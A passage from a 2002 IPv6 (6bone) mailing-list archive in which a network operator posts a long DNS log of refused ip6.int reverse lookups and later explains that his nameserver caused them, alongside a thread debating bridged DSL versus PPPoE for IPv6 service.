2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 04:44 DynDNSModule UDP[53] 194.239.134.83/58393 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 04:44 DynDNSModule UDP[53] 194.239.134.83/58393 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 04:44 DynDNSModule UDP[53] 195.41.46.72/64037 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 05:38 DynDNSModule UDP[53] 194.204.152.34/38664 
5.0.0.c.c.2.f.4.5.ip6.int not allowed
27-04-2002 05:38 DynDNSModule UDP[53] 194.204.159.1/33148 
5.0.0.c.c.2.f.4.5.ip6.int not allowed
27-04-2002 05:49 DynDNSModule UDP[53] 194.239.134.83/58393 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 05:49 DynDNSModule UDP[53] 195.41.46.71/46886 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 05:49 DynDNSModule UDP[53] 194.239.134.83/58393 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 05:49 DynDNSModule UDP[53] 195.41.46.72/64037 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 05:49 DynDNSModule UDP[53] 194.239.134.83/58393 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 05:49 DynDNSModule UDP[53] 195.41.46.71/46886 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 05:49 DynDNSModule UDP[53] 194.239.134.83/58393 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 05:49 DynDNSModule UDP[53] 193.88.13.218/53174 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 05:49 DynDNSModule UDP[53] 194.239.134.83/58393 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 05:49 DynDNSModule UDP[53] 195.41.46.72/64037 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 05:49 DynDNSModule UDP[53] 194.239.134.83/58393 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 05:49 DynDNSModule UDP[53] 193.88.13.219/58803 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 05:49 DynDNSModule UDP[53] 194.239.134.83/58393 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 05:49 DynDNSModule UDP[53] 195.41.46.71/46886 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 05:50 DynDNSModule UDP[53] 194.239.134.83/58393 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 05:50 DynDNSModule UDP[53] 195.41.46.73/32785 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 05:50 DynDNSModule UDP[53] 194.239.134.83/58393 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 05:50 DynDNSModule UDP[53] 193.88.13.218/53174 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 05:50 DynDNSModule UDP[53] 194.239.134.83/58393 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 05:50 DynDNSModule UDP[53] 193.88.13.218/53174 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 05:50 DynDNSModule UDP[53] 194.239.134.83/58393 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 05:50 DynDNSModule UDP[53] 195.41.46.71/46886 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 05:50 DynDNSModule UDP[53] 194.239.134.83/58393 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 05:50 DynDNSModule UDP[53] 195.41.46.71/46886 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 05:50 DynDNSModule UDP[53] 194.239.134.83/58393 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 05:50 DynDNSModule UDP[53] 195.41.46.71/46886 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 05:50 DynDNSModule UDP[53] 194.239.134.83/58393 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 05:50 DynDNSModule UDP[53] 195.41.46.71/46886 
2.8.8.c.c.a.f.4.5.ip6.int not allowed
27-04-2002 05:58 DynDNSModule UDP[53] 194.204.152.34/38664 
5.0.0.c.c.2.f.4.5.ip6.int not allowed
27-04-2002 05:58 DynDNSModule UDP[53] 194.204.159.1/33148 
5.0.0.c.c.2.f.4.5.ip6.int not allowed
27-04-2002 16:38 DynDNSModule UDP[53] 194.204.152.34/38664 
5.0.0.c.c.2.f.4.5.ip6.int not allowed
27-04-2002 16:38 DynDNSModule UDP[53] 194.204.159.1/33148 
5.0.0.c.c.2.f.4.5.ip6.int not allowed
27-04-2002 16:57 DynDNSModule UDP[53] 194.204.152.34/38664 
5.0.0.c.c.2.f.4.5.ip6.int not allowed
27-04-2002 16:57 DynDNSModule UDP[53] 194.204.159.1/33148 
5.0.0.c.c.2.f.4.5.ip6.int not allowed
27-04-2002 21:48 DynDNSModule UDP[53] 194.204.152.34/38664 
5.0.0.c.c.2.f.4.5.ip6.int not allowed
27-04-2002 21:48 DynDNSModule UDP[53] 194.204.159.1/33148 
5.0.0.c.c.2.f.4.5.ip6.int not allowed
27-04-2002 21:48 DynDNSModule UDP[53] 194.204.159.1/33148 
5.0.0.c.c.2.f.4.5.ip6.int not allowed
28-04-2002 06:11 DynDNSModule UDP[53] 194.204.152.34/38664 
5.0.0.c.c.2.f.4.5.ip6.int not allowed
28-04-2002 06:11 DynDNSModule UDP[53] 194.204.159.1/33148 
5.0.0.c.c.2.f.4.5.ip6.int not allowed
28-04-2002 06:11 DynDNSModule UDP[53] 194.204.152.34/38664 
5.0.0.c.c.2.f.4.5.ip6.int not allowed
28-04-2002 11:12 DynDNSModule UDP[53] 213.179.32.3/32955 
b.1.9.4.8.f.4.5.ip6.int not allowed
28-04-2002 11:12 DynDNSModule UDP[53] 213.179.32.3/32955 
b.1.9.4.8.f.4.5.ip6.int not allowed
28-04-2002 13:00 DynDNSModule UDP[53] 217.30.129.149/63624 
3.4.e.c.c.6.f.4.5.ip6.int not allowed
28-04-2002 13:00 DynDNSModule UDP[53] 217.30.137.200/48867 
3.4.e.c.c.6.f.4.5.ip6.int not allowed
28-04-2002 13:00 DynDNSModule UDP[53] 217.30.129.149/63624 
3.4.e.c.c.6.f.4.5.ip6.int not allowed
28-04-2002 13:00 DynDNSModule UDP[53] 217.30.137.200/48867 
3.4.e.c.c.6.f.4.5.ip6.int not allowed
28-04-2002 13:02 DynDNSModule UDP[53] 213.77.75.2/32814 
3.4.e.c.c.6.f.4.5.ip6.int not allowed
28-04-2002 13:02 DynDNSModule UDP[53] 194.204.152.34/38664 
3.4.e.c.c.6.f.4.5.ip6.int not allowed
28-04-2002 13:02 DynDNSModule UDP[53] 217.98.96.2/3856 
3.4.e.c.c.6.f.4.5.ip6.int not allowed
28-04-2002 13:02 DynDNSModule UDP[53] 213.77.75.2/32814 
3.4.e.c.c.6.f.4.5.ip6.int not allowed
28-04-2002 13:02 DynDNSModule UDP[53] 194.204.152.34/38664 
3.4.e.c.c.6.f.4.5.ip6.int not allowed
28-04-2002 13:02 DynDNSModule UDP[53] 217.98.96.2/3856 
3.4.e.c.c.6.f.4.5.ip6.int not allowed
28-04-2002 14:15 DynDNSModule UDP[53] 213.186.65.104/53 
3.4.e.c.c.6.f.4.5.ip6.int not allowed
28-04-2002 14:15 DynDNSModule UDP[53] 213.216.77.25/1036 
3.4.e.c.c.6.f.4.5.ip6.int not allowed
28-04-2002 14:15 DynDNSModule UDP[53] 213.186.65.104/53 
3.4.e.c.c.6.f.4.5.ip6.int not allowed
28-04-2002 14:16 DynDNSModule UDP[53] 213.216.77.25/1036 
3.4.e.c.c.6.f.4.5.ip6.int not allowed
28-04-2002 14:16 DynDNSModule UDP[53] 213.186.65.104/53 
3.4.e.c.c.6.f.4.5.ip6.int not allowed
28-04-2002 14:16 DynDNSModule UDP[53] 213.216.77.25/1036 
3.4.e.c.c.6.f.4.5.ip6.int not allowed
28-04-2002 14:16 DynDNSModule UDP[53] 213.186.65.104/53 
3.4.e.c.c.6.f.4.5.ip6.int not allowed
28-04-2002 14:18 DynDNSModule UDP[53] 194.204.152.34/38664 
5.0.0.c.c.2.f.4.5.ip6.int not allowed
28-04-2002 14:18 DynDNSModule UDP[53] 194.204.159.1/33148 
5.0.0.c.c.2.f.4.5.ip6.int not allowed
28-04-2002 14:29 DynDNSModule UDP[53] 194.204.152.34/38664 
5.0.0.c.c.2.f.4.5.ip6.int not allowed
28-04-2002 14:29 DynDNSModule UDP[53] 194.204.152.34/38664 
5.0.0.c.c.2.f.4.5.ip6.int not allowed
28-04-2002 14:29 DynDNSModule UDP[53] 194.204.159.1/33148 
5.0.0.c.c.2.f.4.5.ip6.int not allowed
28-04-2002 16:25 DynDNSModule UDP[53] 194.204.152.34/38664 
5.0.0.c.c.2.f.4.5.ip6.int not allowed
28-04-2002 16:25 DynDNSModule UDP[53] 194.204.159.1/33148 
5.0.0.c.c.2.f.4.5.ip6.int not allowed
28-04-2002 16:39 DynDNSModule UDP[53] 194.204.152.34/38664 
5.0.0.c.c.2.f.4.5.ip6.int not allowed
28-04-2002 16:39 DynDNSModule UDP[53] 194.204.159.1/33148 
5.0.0.c.c.2.f.4.5.ip6.int not allowed
28-04-2002 17:01 DynDNSModule UDP[53] 194.204.152.34/38664 
5.0.0.c.c.2.f.4.5.ip6.int not allowed
28-04-2002 17:01 DynDNSModule UDP[53] 194.204.159.1/33148 
5.0.0.c.c.2.f.4.5.ip6.int not allowed
29-04-2002 13:06 DynDNSModule UDP[53] 195.212.29.2/35838 
2.0.4.9.c.2.f.4.5.ip6.int not allowed
29-04-2002 13:06 DynDNSModule UDP[53] 195.212.29.2/35838 
2.0.4.9.c.2.f.4.5.ip6.int not allowed
29-04-2002 13:12 DynDNSModule UDP[53] 158.43.128.1/53 
3.c.3.9.c.2.f.4.5.ip6.int not allowed
29-04-2002 13:12 DynDNSModule UDP[53] 158.43.240.5/53 
3.c.3.9.c.2.f.4.5.ip6.int not allowed
29-04-2002 13:24 DynDNSModule UDP[53] 202.139.83.3/53 
3.8.8.c.c.2.f.4.5.ip6.int not allowed
29-04-2002 13:24 DynDNSModule UDP[53] 137.92.1.1/53 
3.8.8.c.c.2.f.4.5.ip6.int not allowed
29-04-2002 15:23 DynDNSModule UDP[53] 202.139.83.3/53 
3.8.8.c.c.2.f.4.5.ip6.int not allowed
29-04-2002 15:23 DynDNSModule UDP[53] 137.92.1.1/53 
3.8.8.c.c.2.f.4.5.ip6.int not allowed


-joergen hovland
WebOnline AS

From 6bone-owner  Mon Apr 29 08:59:06 2002
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <200204291559.g3TFxGP13625@boreas.isi.edu>
Subject: Re: whats the deal with 54fx:: ?
In-Reply-To: <20020429.14054900@valis.iu.hio.no> from "jorgen@hovland.cx" at "Apr 29, 2 02:05:49 pm"
To: jorgen@hovland.cx
Date: Mon, 29 Apr 2002 08:59:16 -0700 (PDT)
Cc: 6bone@ISI.EDU
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Status: RO


	hijacked address space?  54f8:: is not delegated.


% Every day I get a lot of strange reverse dns requests. Does anybody know 
% what it is?
% 
% 
% [snip]
% 26-04-2002 15:50 DynDNSModule UDP[53] 199.0.216.222/4070 
% 7.1.9.4.8.f.4.5.ip6.int not allowed
% 26-04-2002 15:50 DynDNSModule UDP[53] 199.0.216.1/3995 
% 7.1.9.4.8.f.4.5.ip6.int not allowed
% 26-04-2002 15:50 DynDNSModule UDP[53] 205.177.10.10/2182 
% 7.1.9.4.8.f.4.5.ip6.int not allowed
% 26-04-2002 15:50 DynDNSModule UDP[53] 199.0.216.222/4070 
% 7.1.9.4.8.f.4.5.ip6.int not allowed
% 26-04-2002 15:50 DynDNSModule UDP[53] 199.0.216.1/3995 
% 7.1.9.4.8.f.4.5.ip6.int not allowed
% 26-04-2002 15:50 DynDNSModule UDP[53] 205.177.10.10/2182 
% 7.1.9.4.8.f.4.5.ip6.int not allowed
% 27-04-2002 03:01 DynDNSModule UDP[53] 194.239.134.83/58393 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 03:01 DynDNSModule UDP[53] 195.41.46.72/64037 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 03:01 DynDNSModule UDP[53] 194.239.134.83/58393 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 03:06 DynDNSModule UDP[53] 193.88.13.218/53174 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 03:06 DynDNSModule UDP[53] 194.239.134.83/58393 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 03:06 DynDNSModule UDP[53] 195.41.46.72/64037 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 04:44 DynDNSModule UDP[53] 193.88.13.218/53174 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 04:44 DynDNSModule UDP[53] 194.239.134.83/58393 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 04:44 DynDNSModule UDP[53] 193.88.13.219/58803 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 04:44 DynDNSModule UDP[53] 194.239.134.83/58393 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 04:44 DynDNSModule UDP[53] 195.41.46.71/46886 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 04:44 DynDNSModule UDP[53] 194.239.134.83/58393 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 04:44 DynDNSModule UDP[53] 195.41.46.71/46886 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 04:44 DynDNSModule UDP[53] 194.239.134.83/58393 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 04:44 DynDNSModule UDP[53] 195.41.46.72/64037 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 04:44 DynDNSModule UDP[53] 194.239.134.83/58393 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 04:44 DynDNSModule UDP[53] 194.239.134.83/58393 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 04:44 DynDNSModule UDP[53] 195.41.46.72/64037 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 05:38 DynDNSModule UDP[53] 194.204.152.34/38664 
% 5.0.0.c.c.2.f.4.5.ip6.int not allowed
% 27-04-2002 05:38 DynDNSModule UDP[53] 194.204.159.1/33148 
% 5.0.0.c.c.2.f.4.5.ip6.int not allowed
% 27-04-2002 05:49 DynDNSModule UDP[53] 194.239.134.83/58393 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 05:49 DynDNSModule UDP[53] 195.41.46.71/46886 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 05:49 DynDNSModule UDP[53] 194.239.134.83/58393 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 05:49 DynDNSModule UDP[53] 195.41.46.72/64037 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 05:49 DynDNSModule UDP[53] 194.239.134.83/58393 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 05:49 DynDNSModule UDP[53] 195.41.46.71/46886 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 05:49 DynDNSModule UDP[53] 194.239.134.83/58393 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 05:49 DynDNSModule UDP[53] 193.88.13.218/53174 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 05:49 DynDNSModule UDP[53] 194.239.134.83/58393 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 05:49 DynDNSModule UDP[53] 195.41.46.72/64037 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 05:49 DynDNSModule UDP[53] 194.239.134.83/58393 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 05:49 DynDNSModule UDP[53] 193.88.13.219/58803 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 05:49 DynDNSModule UDP[53] 194.239.134.83/58393 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 05:49 DynDNSModule UDP[53] 195.41.46.71/46886 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 05:50 DynDNSModule UDP[53] 194.239.134.83/58393 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 05:50 DynDNSModule UDP[53] 195.41.46.73/32785 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 05:50 DynDNSModule UDP[53] 194.239.134.83/58393 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 05:50 DynDNSModule UDP[53] 193.88.13.218/53174 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 05:50 DynDNSModule UDP[53] 194.239.134.83/58393 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 05:50 DynDNSModule UDP[53] 193.88.13.218/53174 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 05:50 DynDNSModule UDP[53] 194.239.134.83/58393 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 05:50 DynDNSModule UDP[53] 195.41.46.71/46886 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 05:50 DynDNSModule UDP[53] 194.239.134.83/58393 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 05:50 DynDNSModule UDP[53] 195.41.46.71/46886 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 05:50 DynDNSModule UDP[53] 194.239.134.83/58393 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 05:50 DynDNSModule UDP[53] 195.41.46.71/46886 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 05:50 DynDNSModule UDP[53] 194.239.134.83/58393 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 05:50 DynDNSModule UDP[53] 195.41.46.71/46886 
% 2.8.8.c.c.a.f.4.5.ip6.int not allowed
% 27-04-2002 05:58 DynDNSModule UDP[53] 194.204.152.34/38664 
% 5.0.0.c.c.2.f.4.5.ip6.int not allowed
% 27-04-2002 05:58 DynDNSModule UDP[53] 194.204.159.1/33148 
% 5.0.0.c.c.2.f.4.5.ip6.int not allowed
% 27-04-2002 16:38 DynDNSModule UDP[53] 194.204.152.34/38664 
% 5.0.0.c.c.2.f.4.5.ip6.int not allowed
% 27-04-2002 16:38 DynDNSModule UDP[53] 194.204.159.1/33148 
% 5.0.0.c.c.2.f.4.5.ip6.int not allowed
% 27-04-2002 16:57 DynDNSModule UDP[53] 194.204.152.34/38664 
% 5.0.0.c.c.2.f.4.5.ip6.int not allowed
% 27-04-2002 16:57 DynDNSModule UDP[53] 194.204.159.1/33148 
% 5.0.0.c.c.2.f.4.5.ip6.int not allowed
% 27-04-2002 21:48 DynDNSModule UDP[53] 194.204.152.34/38664 
% 5.0.0.c.c.2.f.4.5.ip6.int not allowed
% 27-04-2002 21:48 DynDNSModule UDP[53] 194.204.159.1/33148 
% 5.0.0.c.c.2.f.4.5.ip6.int not allowed
% 27-04-2002 21:48 DynDNSModule UDP[53] 194.204.159.1/33148 
% 5.0.0.c.c.2.f.4.5.ip6.int not allowed
% 28-04-2002 06:11 DynDNSModule UDP[53] 194.204.152.34/38664 
% 5.0.0.c.c.2.f.4.5.ip6.int not allowed
% 28-04-2002 06:11 DynDNSModule UDP[53] 194.204.159.1/33148 
% 5.0.0.c.c.2.f.4.5.ip6.int not allowed
% 28-04-2002 06:11 DynDNSModule UDP[53] 194.204.152.34/38664 
% 5.0.0.c.c.2.f.4.5.ip6.int not allowed
% 28-04-2002 11:12 DynDNSModule UDP[53] 213.179.32.3/32955 
% b.1.9.4.8.f.4.5.ip6.int not allowed
% 28-04-2002 11:12 DynDNSModule UDP[53] 213.179.32.3/32955 
% b.1.9.4.8.f.4.5.ip6.int not allowed
% 28-04-2002 13:00 DynDNSModule UDP[53] 217.30.129.149/63624 
% 3.4.e.c.c.6.f.4.5.ip6.int not allowed
% 28-04-2002 13:00 DynDNSModule UDP[53] 217.30.137.200/48867 
% 3.4.e.c.c.6.f.4.5.ip6.int not allowed
% 28-04-2002 13:00 DynDNSModule UDP[53] 217.30.129.149/63624 
% 3.4.e.c.c.6.f.4.5.ip6.int not allowed
% 28-04-2002 13:00 DynDNSModule UDP[53] 217.30.137.200/48867 
% 3.4.e.c.c.6.f.4.5.ip6.int not allowed
% 28-04-2002 13:02 DynDNSModule UDP[53] 213.77.75.2/32814 
% 3.4.e.c.c.6.f.4.5.ip6.int not allowed
% 28-04-2002 13:02 DynDNSModule UDP[53] 194.204.152.34/38664 
% 3.4.e.c.c.6.f.4.5.ip6.int not allowed
% 28-04-2002 13:02 DynDNSModule UDP[53] 217.98.96.2/3856 
% 3.4.e.c.c.6.f.4.5.ip6.int not allowed
% 28-04-2002 13:02 DynDNSModule UDP[53] 213.77.75.2/32814 
% 3.4.e.c.c.6.f.4.5.ip6.int not allowed
% 28-04-2002 13:02 DynDNSModule UDP[53] 194.204.152.34/38664 
% 3.4.e.c.c.6.f.4.5.ip6.int not allowed
% 28-04-2002 13:02 DynDNSModule UDP[53] 217.98.96.2/3856 
% 3.4.e.c.c.6.f.4.5.ip6.int not allowed
% 28-04-2002 14:15 DynDNSModule UDP[53] 213.186.65.104/53 
% 3.4.e.c.c.6.f.4.5.ip6.int not allowed
% 28-04-2002 14:15 DynDNSModule UDP[53] 213.216.77.25/1036 
% 3.4.e.c.c.6.f.4.5.ip6.int not allowed
% 28-04-2002 14:15 DynDNSModule UDP[53] 213.186.65.104/53 
% 3.4.e.c.c.6.f.4.5.ip6.int not allowed
% 28-04-2002 14:16 DynDNSModule UDP[53] 213.216.77.25/1036 
% 3.4.e.c.c.6.f.4.5.ip6.int not allowed
% 28-04-2002 14:16 DynDNSModule UDP[53] 213.186.65.104/53 
% 3.4.e.c.c.6.f.4.5.ip6.int not allowed
% 28-04-2002 14:16 DynDNSModule UDP[53] 213.216.77.25/1036 
% 3.4.e.c.c.6.f.4.5.ip6.int not allowed
% 28-04-2002 14:16 DynDNSModule UDP[53] 213.186.65.104/53 
% 3.4.e.c.c.6.f.4.5.ip6.int not allowed
% 28-04-2002 14:18 DynDNSModule UDP[53] 194.204.152.34/38664 
% 5.0.0.c.c.2.f.4.5.ip6.int not allowed
% 28-04-2002 14:18 DynDNSModule UDP[53] 194.204.159.1/33148 
% 5.0.0.c.c.2.f.4.5.ip6.int not allowed
% 28-04-2002 14:29 DynDNSModule UDP[53] 194.204.152.34/38664 
% 5.0.0.c.c.2.f.4.5.ip6.int not allowed
% 28-04-2002 14:29 DynDNSModule UDP[53] 194.204.152.34/38664 
% 5.0.0.c.c.2.f.4.5.ip6.int not allowed
% 28-04-2002 14:29 DynDNSModule UDP[53] 194.204.159.1/33148 
% 5.0.0.c.c.2.f.4.5.ip6.int not allowed
% 28-04-2002 16:25 DynDNSModule UDP[53] 194.204.152.34/38664 
% 5.0.0.c.c.2.f.4.5.ip6.int not allowed
% 28-04-2002 16:25 DynDNSModule UDP[53] 194.204.159.1/33148 
% 5.0.0.c.c.2.f.4.5.ip6.int not allowed
% 28-04-2002 16:39 DynDNSModule UDP[53] 194.204.152.34/38664 
% 5.0.0.c.c.2.f.4.5.ip6.int not allowed
% 28-04-2002 16:39 DynDNSModule UDP[53] 194.204.159.1/33148 
% 5.0.0.c.c.2.f.4.5.ip6.int not allowed
% 28-04-2002 17:01 DynDNSModule UDP[53] 194.204.152.34/38664 
% 5.0.0.c.c.2.f.4.5.ip6.int not allowed
% 28-04-2002 17:01 DynDNSModule UDP[53] 194.204.159.1/33148 
% 5.0.0.c.c.2.f.4.5.ip6.int not allowed
% 29-04-2002 13:06 DynDNSModule UDP[53] 195.212.29.2/35838 
% 2.0.4.9.c.2.f.4.5.ip6.int not allowed
% 29-04-2002 13:06 DynDNSModule UDP[53] 195.212.29.2/35838 
% 2.0.4.9.c.2.f.4.5.ip6.int not allowed
% 29-04-2002 13:12 DynDNSModule UDP[53] 158.43.128.1/53 
% 3.c.3.9.c.2.f.4.5.ip6.int not allowed
% 29-04-2002 13:12 DynDNSModule UDP[53] 158.43.240.5/53 
% 3.c.3.9.c.2.f.4.5.ip6.int not allowed
% 29-04-2002 13:24 DynDNSModule UDP[53] 202.139.83.3/53 
% 3.8.8.c.c.2.f.4.5.ip6.int not allowed
% 29-04-2002 13:24 DynDNSModule UDP[53] 137.92.1.1/53 
% 3.8.8.c.c.2.f.4.5.ip6.int not allowed
% 29-04-2002 15:23 DynDNSModule UDP[53] 202.139.83.3/53 
% 3.8.8.c.c.2.f.4.5.ip6.int not allowed
% 29-04-2002 15:23 DynDNSModule UDP[53] 137.92.1.1/53 
% 3.8.8.c.c.2.f.4.5.ip6.int not allowed
% 
% 
% -joergen hovland
% WebOnline AS
% 


-- 
--bill

From 6bone-owner  Mon Apr 29 09:50:34 2002
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From: "Christian Kuhtz" <ck@arch.bellsouth.net>
To: <6bone@ISI.EDU>
Subject: RE: about IPv6 PPPoE 
Date: Mon, 29 Apr 2002 12:45:04 -0400
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there's a difference between a user's perspective and service
provider.  i was stating the service provider side.  bridged dsl is
grandfathered, being phased out, and all new deployment for the past
couple of years has been pppoe at the sp i'm most familiar with.  the
issues are around management and scalability of the service.

as to relevance, the issue was how you'd get native ipv6 dsl service.
you stated that bridged dsl was a great way to do it and i was trying
to tell you that it may be the case from an ipv6 perspective, but that
it is out of touch with most deployments i'm familiar with in the
industry.

anyone know how many lines of bbn are bridged dsl and are they still
actively deploying bridged dsl today?

thanks,
chris (ck@arch.bellsouth.net in my day job, but not speaking for the
company).

> -----Original Message-----
> From: Jeroen Massar [mailto:jeroen@unfix.org]
> Sent: Thursday, April 25, 2002 5:48 PM
> To: 'Christian Kuhtz'; 6bone@ISI.EDU
> Subject: RE: about IPv6 PPPoE
>
>
> Christian Kuhtz wrote:
>
> > bridged dsl is bad.  very bad, in fact.
> "I don't like to eat <random food>  because I don't like to
> eat it, it's
> a fact"
> And the biggest movie quote ever: "And then?" or what about
> "So what?"
>
> You could at least give some kind of hint what's so super
> bad about it.
> I only know of a _lot_ of happy users who realy are glad
> they don't have
> to use PPPoE ;)
> Fact because BBNed provides it to over 10.000 lines+,
> growing hard every
> day.
> (Nopes I don't have exact numbers, if you want them ask
> their PR people
> ;)
>
> > and the train left the station in the other direction a
> long time ago.
> "Nopes it went back and crashed into a mountain where they
> discovered
> gold"
> Any relevance please, you didn't even mention IPv6...
>
> Greets,
>  Jeroen
>
> > > -----Original Message-----
> > > From: owner-6bone@ISI.EDU
> [mailto:owner-6bone@ISI.EDU]On Behalf Of
> > > Jeroen Massar
> > > Sent: Thursday, April 25, 2002 7:00 AM
> > > To: 'Francis Dupont'; 'yjchu'
> > > Cc: 6bone@ISI.EDU
> > > Subject: RE: about IPv6 PPPoE
> > >
> > >
> > > Francis Dupont wrote:
> > >
> > > >  - IPv6 ADSL: wait for ADSL hardware vendors. It seems
> > > some complete
> > > >    solutions are already available (so someone can/would
> > > provide IPv6
> > > >    over ADSL to you).
> > >
> > > Some nice ADSL implementations use ATM bridging, thus
> > > giving you ADSL on
> > > the phoneside,
> > > and ethernet on the other, one does also see the MAC in the
> > > ARP table of
> > > the router...
> > > Hi-ho-native IPv6 ;)
> > > At least my Alcatel does this and many others are capable
> > > of doing it.
> > >
> > > Now all I have to do is convince my ADSL provider <grin>
> > >
> > > Greets,
> > >  Jeroen
>
>


From 6bone-owner  Mon Apr 29 10:05:44 2002
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From: =?iso-8859-1?Q?J=F8rgen_Hovland?= <jorgen@hovland.cx>
To: "Bill Manning" <bmanning@ISI.EDU>
Cc: <6bone@ISI.EDU>
References: <200204291559.g3TFxGP13625@boreas.isi.edu>
Subject: Re: whats the deal with 54fx:: ?
Date: Mon, 29 Apr 2002 19:05:40 +0200
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Sorry, I found out what caused it now.  Its not a routing problem or
anything, just needs some tweaking.

If of any interests:
It was caused by programs asking for the ipv6 ip (AAAA) when the host only
had ipv4 ip(A). I guess we will be seeing more of that in the future :-)
The nameserver converted the ipv6 request into an ipv6 ip, when it really
was ipv4 (so thats why it went into 54fx:: -range).
Our ns converts A/AAAA requests into ips in a predefined radix. The
nameserver is zoneless and uses the actual host instead (great for /64
routeradvertised netblocks).

-joergen hovland
WebOnline AS

----- Original Message -----
From: "Bill Manning" <bmanning@ISI.EDU>
To: <jorgen@hovland.cx>
Cc: <6bone@ISI.EDU>
Sent: Monday, April 29, 2002 5:59 PM
Subject: Re: whats the deal with 54fx:: ?


>
> hijacked address space?  54f8:: is not delegated.
>
>
> % Every day I get a lot of strange reverse dns requests. Does anybody know
> % what it is?
> %
> %
> % [snip]
> % 26-04-2002 15:50 DynDNSModule UDP[53] 199.0.216.222/4070
> % 7.1.9.4.8.f.4.5.ip6.int not allowed
> % 26-04-2002 15:50 DynDNSModule UDP[53] 199.0.216.1/3995
> % 7.1.9.4.8.f.4.5.ip6.int not allowed
